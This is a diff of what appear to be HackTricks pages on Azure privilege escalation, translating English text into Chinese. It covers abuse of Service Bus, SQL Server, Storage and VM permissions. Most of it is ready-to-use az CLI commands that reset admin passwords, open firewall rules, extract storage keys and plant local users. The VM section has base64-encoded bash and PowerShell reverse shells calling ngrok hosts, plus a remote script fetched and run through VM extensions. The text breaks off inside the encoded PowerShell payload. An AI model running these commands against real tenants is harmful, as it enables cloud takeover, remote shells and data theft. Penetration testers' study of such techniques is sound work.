如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,104 +12,88 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现对服务器的未经授权的访问或控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制的访问权限。
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法:
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP)开放服务器,从而使恶意行为者能够访问。此后利用活动可以用来绕过现有的网络安全控制,建立持久性,或通过暴露敏感资源来促进环境内的横向移动。
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
此外,`Microsoft.Sql/servers/outboundFirewallRules/delete` 权限允许您删除防火墙规则。
|
||||
注意:必须启用公共访问
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置,并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
此外,`Microsoft.Sql/servers/ipv6FirewallRules/delete` 权限允许您删除防火墙规则。
|
||||
注意:必须启用公共访问
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
通过这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了 "Microsoft Entra Authentication Only",您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
通过这些权限,您可以在 Azure SQL Server 上配置和强制执行“Microsoft Entra 仅限身份验证”,这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅限身份验证。
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
有关存储的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,26 +12,21 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
具有此权限的主体将能够列出(以及访问密钥的秘密值)存储帐户的**访问密钥**。 这允许主体提升其在存储帐户上的权限。
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
具有此权限的主体将能够更新并获取存储帐户的**访问密钥**的新秘密值。这允许主体提升其在存储帐户上的权限。
|
||||
|
||||
此外,在响应中,用户将获得更新密钥的值以及未更新密钥的值:
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
具有此权限的主体将能够创建或更新现有的存储帐户,更新任何设置,例如网络规则或策略。
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -39,118 +34,101 @@ az storage account update --name <acc-name> --default-action Allow
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
第一个权限允许**修改容器中的不可变性策略**,第二个权限允许删除它们。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
> 请注意,如果不可变性策略处于锁定状态,则无法执行这两项操作。
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
## 文件共享特定权限提升
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
这应该允许拥有此权限的用户能够获取共享文件系统内文件的所有权。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
这应该允许拥有此权限的用户能够修改共享文件系统内文件的权限。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
这应该允许拥有此权限的用户能够以超级用户身份在文件系统内执行操作。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
拥有此权限的攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者以特定权限(如读取(r)、写入(w)、删除(d)和列出(l)等)授予自己对存储帐户的访问。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户的密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可以获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
要通过 SFTP 使用本地用户访问 Azure Blob Storage,您可以(您也可以使用 ssh 密钥进行连接):
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob,如果它们之前是软删除的。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。此权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
## 其他有趣的权限 (TODO)
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: 更改 blob 的所有权
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: 修改 blob 的权限
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: 返回 blob 命令的结果
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+150
-180
@@ -1,10 +1,10 @@
|
||||
# Az - Virtual Machines & Network Privesc
|
||||
# Az - 虚拟机与网络权限提升
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMS & Network
|
||||
## 虚拟机与网络
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
有关 Azure 虚拟机和网络的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
此权限允许在虚拟机中执行扩展,从而允许**在其上执行任意代码**。\
|
||||
示例:滥用自定义扩展在虚拟机中执行任意命令:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- 执行反向 shell
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- 执行位于互联网上的脚本
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- 执行反向 shell
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQA